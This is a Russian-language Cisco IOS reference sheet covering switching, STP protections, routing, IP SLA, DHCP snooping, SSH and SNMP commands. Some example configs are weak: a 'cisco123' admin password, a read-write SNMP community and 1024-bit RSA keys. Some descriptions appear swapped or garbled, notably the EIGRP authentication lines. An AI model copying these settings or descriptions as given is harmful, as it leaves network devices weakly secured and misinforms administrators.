port-trunk
----------
interface GigabitEthernet0/1
description TO 3750 G1/0/1
switchport trunk encapsulation dot1q
switchport trunk native vlan 999
switchport mode trunk
switchport nonegotiate
port-channel
------------
interface Port-channel1
description TO 3750
switchport trunk encapsulation dot1q
switchport trunk native vlan 999
switchport mode trunk
switchport nonegotiate
interface GigabitEthernet0/1
description TO 3750 G1/0/1
switchport trunk encapsulation dot1q
switchport trunk native vlan 999
switchport mode trunk
switchport nonegotiate
channel-group 1 mode on
interface GigabitEthernet0/2
description to 3750 G2/0/1
switchport trunk encapsulation dot1q
switchport trunk native vlan 999
switchport mode trunk
switchport nonegotiate
channel-group 1 mode on
Разное
------
CTRL+SHIFT+6 - Прерывание.
en - Войти в привилегированный режим (пароль по умолчанию: Cisco).
username pupkin pr 15 se 0 - Создать пользователя с наивысшими привилегиями (15) и паролем.
sh inv raw | inc NAME|SN: [0-9A-Z] - Показать модули и их серийные номера.
sh pow - Показать статус питания.
sh proc cpu h - Показать загрузку процессора (график).
sh proc cpu | inc one minute - Показать загрузку процессора (одной строкой).
sh proc cpu sort | exc 0.00% 0.00% 0.00% - Показать загрузку процессора (процессы).
sh cdp ne - Просмотр окружения.
sh ip source binding - Показать привязки: MAC/IP/LEASE/VLAN/INTERFACE.
sh arp | inc 10.129.11.40 - Поиск MAC`а по IP.
sh arp | inc bcae.c50e.1c28 - Поиск IP по MAC`у.
sh mac-address-table address bcae.c50e.1c28 - Поиск IP по MAC`у.
sh mac address-table address bcae.c50e.1c28 - Поиск IP по MAC`у.
reload in 10 - Перезагрузка через 10 минут.
reload cancel - Отменить перезагрузку.
no cdp run - Глобальное отключение CDP (Cisco Discovery Protocol).
Time
----
ntp update-calendar - Обновление hardware clock (calendar).
clock calendar-valid - При продолжительной работе время clock и время в календаре маршрутизатора могут незначительно отличаться друг от друга. Для устранения этого расхождения у команды clock существует параметр calendar-valid для периодической синхронизации календаря и времени clock, которое генерирует кварцевый резонатор.
clock timezone MSK 3 - Установить часовой пояс Москва +3.
clock timezone SAMT 4 - Установить часовой пояс Самара +4.
clock summer-time MSKS recurring last Sun Mar 2:00 last Sun Oct 3:00 - Переход на летнее Московское время.
clock summer-time SAMST recurring last Sun Mar 2:00 last Sun Oct 3:00 - Переход на летнее Самарское время.
По умолчанию в конфигурации маршрутизатора включены сервисы timestamps debug и timestamps log, которые отображают время события (заносимого в журнал или отображаемого при включении debug) в нормальном формате, привязанном к правильному текущему времени. Если эти сервисы отключены, то очень рекомендую их включить:
service timestamps debug datetime localtime
service timestamps log datetime localtime
IOS
---
CTRL+BREAK при загрузке - Вход в ROMMON.
sh ver - Показать версию IOS.
sh file sys - Показать список файловых систем.
erase startup-config - Очистить конфигурацию, устанавливаемую при загрузке (потом reload).
erase cat4000_flash: - Очистить FLASH на 4506 (vlan.dat).
delete flash:vlan.dat - Удалить базу VLAN`ов.
squeeze bootflash: - Удалить файлы, помеченные как deleted.
IOS Update
----------
Через HyperTerminal по протоколу Xmodem:
switch> enable
switch: set baud = 115200
switch: copy xmodem: flash:c2960-lanbase-mz.122-50.SE1.bin
В HyperTerminal: Передача -> Отправить файл -> Протокол: 1K Xmodem.
Значения конфигурационных регистров вида 0xXXXX оборудования Cisco
------------------------------------------------------------------
Конфигурационный регистр управляет следующим поведение устройств Cisco:
* как загружается устройство (в ROMmon, NetBoot),
* варианты загрузки (игнорирование конфигурации, отключение сообщений при загрузке),
* скорость консоли (скорость в бодах для эмуляции терминальной сессии).
show version | inc register - Просмотреть текущее состояние конфигурационного регистра.
config-register - Установить новое значение конфигурационного регистра.
config-register 0x2102 - Помогает, если не сохраняется конфигурация после перезагрузки.
Конфигурационные регистры имеют следующие значения:
0x102
* Ignores break
* 9600 console baud
0x1202
* 1200 baud rate
0x2101
* Boots into bootstrap
* Ignores break
* Boots into ROM if initial boot fails
* 9600 console baud rate
0x2102
* Ignores break
* Boots into ROM if initial boot fails
* 9600 console baud rate default value for most platforms
0x2120
* Boots into ROMmon
* 19200 console speed
0x2122
* Ignores break
* Boots into ROM if initial boot fails
* 19200 console baud rate
0x2124
* NetBoot
* Ignores break
* Boots into ROM if initial boot fails
* 19200 console speed
0x2142
* Ignores break
* Boots into ROM if initial boot fails
* 9600 console baud rate
* Ignores the contents of Non-Volatile RAM (NVRAM) (ignores configuration)
0x2902
* Ignores break
* Boots into ROM if initial boot fails
* 4800 console baud rate
0x2922
* Ignores break
* Boots into ROM if initial boot fails
* 38400 console baud rate
0x3122
* Ignores break
* Boots into ROM if initial boot fails
* 57600 console baud rate
0x3902
* Ignores break
* Boots into ROM if initial boot fails
* 2400 console baud rate
0x3922
* Ignores break
* Boots into ROM if initial boot fails
* 115200 console baud rate
Значения отдельных битов конфигурационного регистра:
00-03 (0x0000-0x000F)
* Boots Field Parameters (0x0000)
* Stays at the system bootstrap prompt (0x0001)
* Boots system image on EPROM (0x0002-0x000F)
* Specifies a default netboot filename
06 (0x0040)
* Ignore NVRAM contents
07 (0x0080)
* Disable boot messages
08 (0x0100)
* Break disabled
10 (0x0400)
* IP broadcast with all zeros
5,11,12 (0x0020,0x0800,0x1000)
* Console line speed
13 (0x2000)
* Boots default ROM software if network boot fails
14 (0x4000)
* IP broadcasts do not have net numbers
15 (0x8000)
* Enables diagnostic messages
* Ignores NVRAM contents
Port
----
switchport nonegotiate - Не распознавать режим (mode access или mode trunk) автоматически.
Interface
---------
default int vl 1 - Настр. по умолч. для VLAN.
sh int p1 cou er - Показать ошибки на интерфейсе p1.
clear cou p1 - Сбросить статистику ошибок на интерфейсе p1.
PVST - per vlan spanning tree protocol
--------------------------------------
sh spanning-tree summary - Показать инф. о STP.
no spanning-tree vlan 10 - Откл. PVSTP для VLan`а.
int f0/11
spanning-tree guard none - Откл. STP Guard на порту.
spanning-tree guard root - Предотвращение перехода других коммутаторов в режим корневого моста STP.
Port Fast
---------
Функция, которая позволяет порту пропустить состояния listening и learning и сразу же перейти в состояние forwarding. Настраивается на портах уровня доступа, к которым подключены пользователи или сервера.
Порт с включенной функцией Port Fast проходит через обычный цикл состояний spanning-tree, когда коммутатор перезагружается.
Цель функции Port Fast минимизировать время, которое необходимо для того чтобы порт перешел в состояние forward. Поэтому она эффективна только когда применена к портам, к которым подключены хосты. Если включить Port Fast на портах, которые соединены с другими коммутаторами, то есть риск создания петли.
Режим Port Fast должен быть включен только на порте, подключенному к одному хосту. Подключение хабов, концентраторов, свитчей, бриджей, и т.д. к этому интерфейсу, когда включен режим Port Fast, может вызвать временную петлю. Используйте с осторожностью. Режим Port Fast действует только когда интерфейс не в режиме trunk.
Настройка Port Fast на access-интерфейсе:
int f0/1
spanning-tree portfast
Настройка Port Fast на trunk-интерфейсе:
int f0/1
spanning-tree portfast trunk
!!! Если на trunk-интерфейсе выполнить команду без параметра trunk, то функция Port Fast не будет применена.
Функцию Port Fast можно настроить глобально на всех интерфейсах в режиме access:
spanning-tree portfast default
Отключить Port Fast на интерфейсе:
int f0/1
spanning-tree portfast disable
Просмотр информации о статусе функции Port Fast:
sh spanning-tree int f0/1 portfast
sh spanning-tree int f0/1 detail
sh spanning-tree summary
BPDU
----
Bridge Protocol Data Unit - пакет (единица данных) протокола управления мостами, IEEE 802.1d, базируется на реализации протокола STP (Spanning Tree Protocol). Используется для исключения возможности возникновения петель в сетях передачи данных при наличии в них многосвязной топологии. Используя одну физическую либо логическую связь в качестве основной, BPDU удерживает одну из доступных вторичных связей в режиме бездействия (ожидания). Таким образом полезный трафик передаётся только по одной из доступных связей. При нарушении функционирования одного из каналов (что легко наблюдается отсутствием прохождения через него сообщений 802.1d) ожидающий вторичный канал автоматически включается в работу, обеспечивая непрерываемость связности в сети.
BPDU Filtering
--------------
После включения функции, порт не принимает и не отправляет BPDU.
Может быть включена глобально на коммутаторе или на интерфейсе, у этих режимов есть некоторые отличия:
- Если BPDU filtering включена глобально на коммутаторе, то для портов с включенной функцией Port Fast:
- порт не принимает и не отправляет BPDU,
- при включении порта отправляются несколько BPDU, а затем коммутатор фильтрует исходящие BPDU,
- при получении BPDU на портах с Port Fast, на порту выключается Port Fast и BPDU filtering,
- Если BPDU filtering включена на интерфейсе (без включения функции Port Fast):
- порт не принимает и не отправляет BPDU,
- применение этой функции на интерфейсе равносильно отключению spanning-tree на нем и может привести к образованию петель.
Включение BPDU Filtering глобально на коммутаторе, на портах с включенной функцией Port Fast:
spanning-tree portfast bpdufilter default
!!! Хотя в команде, которая включает BPDU Filtering глобально на коммутаторе, есть параметр portfast, применение этой команды не включает функцию Port Fast. Она должна быть настроена отдельно.
Настройка BPDU Filtering на интерфейсе:
int f0/1
spanning-tree bpdufilter enable
Просмотр информации о настройках BPDU Filtering:
sh spanning-tree interface f0/1 detail
sh spanning-tree summary
BPDU Guard
----------
Включение BPDU Guard глобально на коммутаторе, на портах с включенной функцией Port Fast:
spanning-tree portfast bpduguard default
!!! Хотя в команде, которая включает BPDU Guard глобально на коммутаторе, есть параметр portfast, применение этой команды не включает функцию Port Fast. Она должна быть настроена отдельно.
Настройка BPDU Guard на интерфейсе:
int f0/1
spanning-tree bpduguard enable
Просмотр информации о настройках BPDU Guard:
sh spanning-tree int f0/1 detail
sh spanning-tree summary
Отличия между STP BPDU Guard и STP Root Guard
---------------------------------------------
BPDU Guard и Root Guard схожи, но их воздействие различно:
- BPDU Guard отключает порт после получения BPDU если Port Fast включен на этом порту. Отключение этих портов устройства эффективно исключает их из участия в STP. Вы должны вручную включить порт, который введен в состояние errdisable или настроить errdisable-тайм-аут.
- Root Guard позволяет устройству принимать участие в STP до тех пор, пока устройство не будет пытаться стать root`ом. Если Root Guard блокирует порт, то восстанавливает его автоматически. Восстановление происходит, как только устройство-нарушитель перестает отправлять superior BPDUs.
UDLD
----
Протокол обнаружения однонаправленной связи (UDLD) позволяет устройствам, подключенным с помощью оптоволоконных или медных кабелей Ethernet (например кабелей категории 5), отслеживать физическую конфигурацию кабелей и обнаруживать появление однонаправленных соединений. При обнаружении однонаправленного соединения протокол UDLD отключает соответствующий порт и создает сообщение предупреждения для пользователя. Однонаправленные соединения могут вызвать множество проблем, включая петли в топологии STP.
Если выполнена команда errdisable recovery, можно определить причину состояния "errdisabled" с помощью команды sh errdisable recovery.
udld en - Вкл. Unidirected Link Detection - Обнаружение обрыва или неправильного подкл. полнодуплексных линков.
sh udld - Показать инф. об Unidirected Link Detection.
VTP (VLAN Trunking Protocol)
----------------------------
VLan`ы хранятся в конфиге, только если VTP Mode = Transparent.
sh vl br - Показать VLan`ы.
sh vtp st - Показать VTP-статус.
no vtp pr - Откл. VTP Pruning - Рекомендуется выкл. Особенно, если NATIVE VLAN изменён. Могут быть проблемы с VTP.
GLBP (Gateway Load Balancing Protocol)
--------------------------------------
Проприетарный протокол Cisco, предназначенный для увеличения доступности маршрутизаторов выполняющих роль шлюза по умолчанию и балансировки нагрузки между этими маршрутизаторами.
Терминология протокола:
* Active Virtual Gateway (AVG) — присваивает виртуальный MAC-адрес каждому члену группы. AVG отвечает на ARP-запросы на виртуальный IP-адрес.
* Active Virtual Forwarders (AVF) — маршрутизатор GLBP группы, который отвечает за отправку пакетов, которые пришли на виртуальный MAC-адрес, присвоенный ему AVG.
* GLBP группа -- в группе могут быть 4 маршрутизатора.
Маршрутизаторы отправляют друг другу сообщения hello каждые 3 секунды. Сообщения отправляются на адрес 224.0.0.102, UDP порт 3222 (отправителя и получателя).
Режимы балансировки нагрузки:
* Weighted load-balancing
* Host-dependent load-balancing
* Round-robin load-balancing -- режим используется по умолчанию.
CEF (Cisco Express Forwarding)
------------------------------
Способ ускоренной коммутации пакетов, позволяющий сэкономить процессорное время. Технически это реализовано за счет того, что маршрутизатор составляет единую таблицу, в которую включает все достижимые хосты, и ведет поиск по ней, вместо того, чтобы вести рекурсивный поиск по нескольким таблицам (arp, статика, несколько динамических протоколов и т.д.).
CEF включен по умолчанию, если его не отключить принудитедьно командами:
no ip cef
и на интерфейсах:
no ip route-cache
no ip mroute-cache
Посмотреть статус можно командой:
show cef state
To enable load balancing for Cisco Express Forwarding (CEF), use the ip load-sharing command in interface configuration mode.
interface G0/1
ip load-sharing per-destination
Routing
-------
ip subnet-zero - Разрешить использование 0 в номере подсети. Согласно документам RFC 791 нулевой адрес подсети определять не рекомендуется. И всё же, введя в ваших маршрутизаторах команду ip subnet-zero, вы сможете присвоить хостам в подсети 0 адреса от 1 до 127 (имеются в виду маски подсетей для сетей класса С), а в подсети 128 - адреса от 129 до 254. Такой подход позволяет несколько расширить число допустимых адресов. Если следовать RFC, вы сможете воспользоваться в лучшем случае только маской подсети 192 (двухбитовые адреса подсетей). Т.е маски 255.255.255.0 и 255.255.255.128 будут вам недоступны.
ip routing - Включение маршрутизации.
ip default-gateway 192.168.100.1 - Шлюз по умолчанию.
ip source-route - включить функцию "IP source routing" - она позволяет отправителю указать через какие маршрутизаторы должен пройти пакет.
no ip source-route - маршрутизатор будет отбрасывать любые входящие пакеты в которых установлена опция "IP source routing".
Policy Based Routing (PBR)
--------------------------
Команда set ip default next-hop проверяет существование адреса назначения в таблице маршрутизации и:
- если адрес назначения существует, то команда не выполняет маршрутизацию пакета, вместо это пакет перенаправляется в соответствие таблице маршрутизации.
- если адрес назначения не существует, команда маршрутизирует пакет, посылая его на указанный next-hop.
Команда set ip next-hop проверяет существование указанного next-hop и:
- если next-hop существует в таблице маршрутизации, тогда пакет направляется на этот next-hop.
- если next-hop не существует в таблице маршрутизации, пакет перенаправляется в соответствие с таблицей маршрутизации.
IP SLA (Service Level Agreements - соглашения об уровне обслуживания)
---------------------------------------------------------------------
Мониторинг наличия и качества связи является важным инструментом администратора сети, т.к. он позволяет не только обнаруживать проблему, но и предвидеть возникновение самой проблемы.
В Cisco IOS встроены несколько тестов для определения состояния сети которые объединены понятием SLA. На сегодняшний день SLA поддерживает следующие тесты:
- dhcp DHCP Operation
- dns DNS Query Operation
- ethernet Ethernet Operations
- ftp FTP Operation
- http HTTP Operation
- icmp-echo ICMP Echo Operation
- icmp-jitter ICMP Jitter Operation
- path-echo Path Discovered ICMP Echo Operation
- path-jitter Path Discovered ICMP Jitter Operation
- tcp-connect TCP Connect Operation
- udp-echo UDP Echo Operation
- udp-jitter UDP Jitter Operation
- voip Voice Over IP Operation
Еще одно из полезных применений IP SLA - это автоматическое определение качества связи.
Как известно, наиболее чуствительным к качеству является голосовой трафик, поэтому наиболее ценным тестом является Jitter test.
На качество голоса влияет несколько параметров одновременно:
- End-to-end (one way) delay: Это задержка пакета в одну сторону. Должно быть максимум 150ms
- Jitter: Разные пакеты могут приходить с разными задержками, эту флуктуацию и определяет параметр jitter. Должно быть максимум 30ms
- Packet loss: Потери пакетов должны быть максимум 1%
Эти параметры можно посмотреть на телефоне прямо во время звонка двумя способами:
- Зайти на страницу телефона: Streaming Statistics > stream 1
- Дважды нажать на кнопку "?" на телефоне
Возможны различные комбинации значений этих трех параметров. Например, как показывает практика, вполне можно говорить если End-to-end (one way) delay составляет 200ms, а остальные параметры идеальны. Но совершенно невозможно говорить если Jitter стабильно более 100, даже если остальные два параметра идеальны.
Тест IP SLA Jitter позволяет их всех привести к "общему знаменателю", типа можно говорить или нельзя. Этими едиными параметрами является MoS или ICPIF.
В тесте IP SLA Jitter используется Service Assurance Agent (Cisco SAA). Его работа заключается в симулировании голосового кодека и последующим определением End-to-end (one way) delay, Jitter, Packet loss. По этим параметрам Cisco SAA затем вычисляет MOS и ICPIF.
MOS и ICPIF используются для оценки качества связи и могут быть определены автоматически в результате теста Jitter.
Рассмотрим возможные значения:
ICPIF
5 Very Good
10 Good
20 Adequate
30 Limiting case
45 Exceptional limiting case
55 Customers likely to react strongly
MOS
5 Excelent
4 Good
3 Fair
2 Poor
1 Bad
Как показала практика, наибольшую полезность представляет ICPIF
Реализация.
На одном конце:
ip sla responder
ip sla 10
udp-jitter 172.16.127.33 20001 source-ip 172.16.127.4 codec g711ulaw codec-size 20
tos 184
frequency 300
ip sla schedule 10 life forever start-time now
access-list 5 permit 192.168.2.49
snmp-server community cmonitor RW 5
snmp-server ifindex persist
На другом конце:
ip sla responder
access-list 5 permit 192.168.2.49
snmp-server community cmonitor RW 5
snmp-server ifindex persist
Смотрим текущее значение IP SLA:
show ip sla statistics
Мониторить и анализировать очень удобно с помощью PRTG, где можно использовать сенсор VoIP and Qos > Cisco IP SLA
Натравливаем на роутеры PRTG, - он должен сам увидеть по SNMP созданные на маршрутизаторе элементы IP SLA.
Прочее:
ip cef - Включить CEF, который будет отвечать за "быстрое" переключение между каналами.
ip sla 100 - Создать контейнер IP SLA с номером 100, который мы указали в соответствующем track.
ip sla schedule 100 start-time now life forever - Запустить контейнер IP SLA с номером 100 начиная с текущего момента и не использовать "вечно" (можно указать конкретное время, в течение которого будет действовать указанный IP SLA, но нам нужно чтобы он работал все время, так что ставим forever).
track 100 ip sla 100 reachability - Привязать флаг track 100 к ip sla с номером 100. Track - это флаг состояния, который может иметь два значения: up или down. Этот флаг будет устанавливаться на основе данных полученных от IP SLA.
EIGRP
-----
sh ip eigrp ne - Просмотр EIGRP-окружения.
EIGRP Stub
----------
Если маршрутизатор получает информацию о том, что его сосед stub-маршрутизатор (тупиковый), то он не отправляет ему запросы о каких-либо маршрутах.
router eigrp 1
eigrp stub connected - Разрешает stub маршрутизатору отправлять connected маршруты, но только для интерфейсов, адреса которых находятся в сетях, указанных командой network;
eigrp stub summary - Разрешает stub маршрутизатору отправлять суммарные маршруты (автоматически просуммированные или административно);
(на уровне распределения - на всех CISC-ах, прямо подключенных к 6506).
eigrp stub - connected и summary
(на уровне доступа);
eigrp stub leak-map - Allow dynamic prefixes based on the leak-map;
eigrp stub receive-only - Запрещает stub маршрутизатору отправлять какие-либо маршруты;
eigrp stub redistributed - Разрешает stub маршрутизатору отправлять redistributed маршруты;
eigrp stub static - Разрешает stub маршрутизатору отправлять static маршруты, при том, что перераспределение статических маршрутов уже настроено.
router eigrp 1
network - Объявление классовой сети.
passive-int def - Откл. обмен маршрутами по EIGRP на всех интерфейсах.
no passive-int g0/1 - Вкл. обмен маршрутами по EIGRP на интерфейсах, участвующих в маршрутизации.
vtp prun - Отмена передачи по trunk-ам vlan-ов, не объявленных на коммутаторе.
EIGRP authentification
----------------------
Для включения аутентификации сообщений протокола маршрутизации необходимо определить наборы ключей (key-chain), в каждом наборе необходимо определить верные ключи (key) и (необязательно) время их действия. После этого для каждого интерфейса можно назначить аутентификацию EIGRP-сообщений с помощью того или иного набора ключей.
(config)#key chain <имя набора> - Определение набора ключей.
(config-keychain)#key <номер ключа по порядку> - Определения каждого ключа в наборе.
(config-keychain-key)#key-string <значение ключа> - Определения каждого ключа в наборе (значением ключа может быть любое слово).
(config-if)#ip authentication mode eigrp md5 - Аутентификация с помощью указанного набора ключей (при этом принимается сообщение с любым ключом из набора, действительным в настоящий момент; если время действия при создании ключа не указано, он действителен всегда).
(config-if)#ip authentication key-chain eigrp <имя набора> - Определяем тип аутентификации: ключ передается в сообщении открытым текстом (text) или используется защищенный режим - хэширование ключа по алгоритму MD-5 (md5).
где N - номер автономной системы.
DHCP snooping
-------------
DHCP snooping позволяет:
- Защитить клиентов в сети от получения адреса от неавторизованного DHCP-сервера,
- Регулировать какие сообщения протокола DHCP отбрасывать, какие перенаправлять и на какие порты.
Для правильной работы DHCP snooping, необходимо указать какие порты коммутатора будут доверенными, а какие - нет.
ip dhcp snooping - Вкл. DHCP snooping.
ip dhcp snooping vlan 1-4096 - Вкл. DHCP snooping в VLan`ах, которые должны быть защищены с его помощью.
no ip dhcp snooping verify mac - Откл. проверку соответствия MAC-адреса в DHCP-запросе MAC-адресу клиента.
no ip dhcp snooping information option - Откл. вставку опции 82.
int p1 - Указать доверенные порты (По умолчанию на коммутаторе все порты ненадёжные).
ip dhcp snooping trust - Указать доверенные порты (По умолчанию на коммутаторе все порты ненадёжные).
ip dhcp-server 192.168.100.1 - Указать адрес авторизованного DHCP-сервера, доступного через доверенный порт.
sh ip dhcp snooping - Просмотр настроек DHCP snooping`а.
sh ip dhcp snooping binding - Просмотр базы данных привязки DHCP для коммутатора.
sh ip dhcp snooping statistics - Просмотр статистики DHCP snooping`а.
IPSEC
-----
sh crypto session detail - Просмотр состояния сессий
sh crypto isakmp sa
sh crypto ipsec sa
clear crypto isakmp - Очищение ключей
clear crypto session remote 82.101.4.12 - Сброс сессии с 82.101.4.12
SSH
---
ip domain-name xgu.ru - Имя домена (необходимо для генерации ключей)
crypto key generate rsa modulus 1024 - Создание пары ключей (если ключей нет, при подключении в ответ получаем ошибку: "connection refused")
ip ssh version 2 - Включение SSH версии 2
ip ssh maxstartups 2 - Ограничение числа сессий SSH
ip ssh time-out 60 - Ограничение времени неактивного соединения (по-умолчанию 300 секунд)
ip ssh source-interface F0/1 - Указание интерфейса для всех сессий SSH
ip ssh logging events - Включение журналирования событий SSH
username admin secret cisco123 - Создание пользователя в локальной базе
line vty 0 4 - Настройка VTY
login local
transport input ssh
SNMP
----
Q: Что необходимо сделать на оборудовании Cisco, чтобы не изменялись Index-ы интерфейсов при перезагрузке/смене IOS-а устройства?
A: При перезагрузке устройства Cisco, устройство каждый раз создает новые Index-ы для интерфейсов, которые могут измениться, а могут и не меняться (зависит от изменений, произведенных на оборудовании). Соответствено NetXMS обращается на старые индексы и выдавать неверную информацию. Чтобы этого не происходило, необходимо на оборудовании прописать команду:
(config)snmp-server ifindex persist
которая создаст файл ifIndex-table в nvram. Далее Cisco при загрузке устанавливает индексы для интерфейсов сверяясь с этим файлом, тем самым решается вопрос с неверным отображением информации по интерфейсам по SNMP.
NAT
---
sh ip nat translations - Показать таблицу NAT